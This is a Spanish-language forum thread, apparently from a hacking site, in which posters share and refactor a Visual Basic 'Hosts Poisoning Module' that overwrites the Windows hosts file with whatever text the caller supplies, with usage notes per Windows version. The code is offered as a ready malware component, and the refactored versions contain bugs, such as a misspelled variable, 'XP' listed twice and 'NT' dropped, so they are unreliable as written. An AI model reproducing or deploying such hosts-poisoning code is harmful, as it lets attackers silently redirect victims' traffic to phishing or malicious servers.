Ok aqui un modulo bastante sencillo...

Código: Seleccionar todo

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''' HOSTS POISONING MODULE BY XA0S '''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Creado por Xa0s '
' Gracias a DARK_J4VIER
' www.professional-hacker.org '
' Modulo encargado de editar el archivo Hosts de Windows '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Public Function hosts(insertar As String, windows As String) As String
Dim w2 As String
If windows = 95 Then
w2 = Environ$("Windir") & "\hosts"
Else
If windows = 98 Then
w2 = Environ$("Windir") & "\hosts"
Else
If windows = "Me" Then
w2 = Environ$("Windir") & "\hosts"
Else
If windows = "NT" Then
w2 = Environ$("Windir") & "\System32\drivers\etc\hosts"
Else
If windows = 2000 Then
w2 = Environ$("Windir") & "\System32\drivers\etc\hosts"
Else
If windows = "XP" Then
w2 = Environ$("Windir") & "\System32\drivers\etc\hosts"
Else
If windows = 2003 Then
w2 = Environ$("Windir") & "\System32\drivers\etc\hosts"
Else
If windows = "Vista" Then
w2 = Environ$("Windir") & "\System32\drivers\etc\hosts"
Else
If windows = "7" Then
w2 = Environ$("Windir") & "\System32\drivers\etc\hosts"
Else
MsgBox "Error de Sistema Operativo", vbCritical, "Hosts Poisoning Module By Xa0s"
Exit Function
End If
End If
End If
End If
End If
End If
End If
End If
End If
Open w2 For Output As #1
Print #1, "// Hosts Poisoning Module By Xa0s //"
Print #1, insertar
Close #1
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''' MODO DE USO ''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' call hosts(AQUI LO QUE QUIERAS ESCRIBIR EN EL HOSTS, SISTEMA OPERATIVO) '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' El sistema operativo puede ser: '
'--- 95, 98, ME, 2000, NT, 2003, XP, VISTA, 7 '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Aqui un ejemplo de lo que decia BlackZeroX :

Código: Seleccionar todo

Public Function Hosts(hInsert As String, hWindows As String)
    
    Dim hViejo As String
    Dim hNuevo As String
    Dim hRuta As String
    
    hViejo = Environ$("WINDIR") & "\hosts"
    hNuevo = Environ$("WINDIR") & "\System32\drivers\etc\hosts"
    
    Select Case hWindow
        
        Case "95", "98", "Me": hRuta = hViejo
        Case "2000", "XP", "2003", "Vista", "XP", "7": hRuta = hNuevo

    End Select
    
    If Dir$(hRuta) <> vbNullString Then
        
        Open hRuta For Binary As #1
        Put #1, , hInsert
        Close #1
    
    End If
    
End Function
Saludos :D
Imagen
Lo modifique un poco.

Código: Seleccionar todo

Public Function Hosts(byval hInsert As String, byval hWindows As String) as boolean
    Dim hRuta As String
    
    on error goto ErrQuit

    Select Case hWindow
        Case "95", "98", "Me"
                 hRuta = Environ$("WINDIR") & "\hosts"
        Case "2000", "XP", "2003", "Vista", "XP", "7"
                 hRuta = Environ$("WINDIR") & "\System32\drivers\etc\hosts"
        Case else 
                 Exit function
    End Select
    
    Open hRuta For Binary As #1
    Put #1, , hInsert
    Close #1
    Hosts=true

ErrQuit:
End Function
Excelente, publicar el código optimizado solo demuestra el buen hacer y alto nivel de nuestro foro.

Responder

Volver a “Otros lenguajes”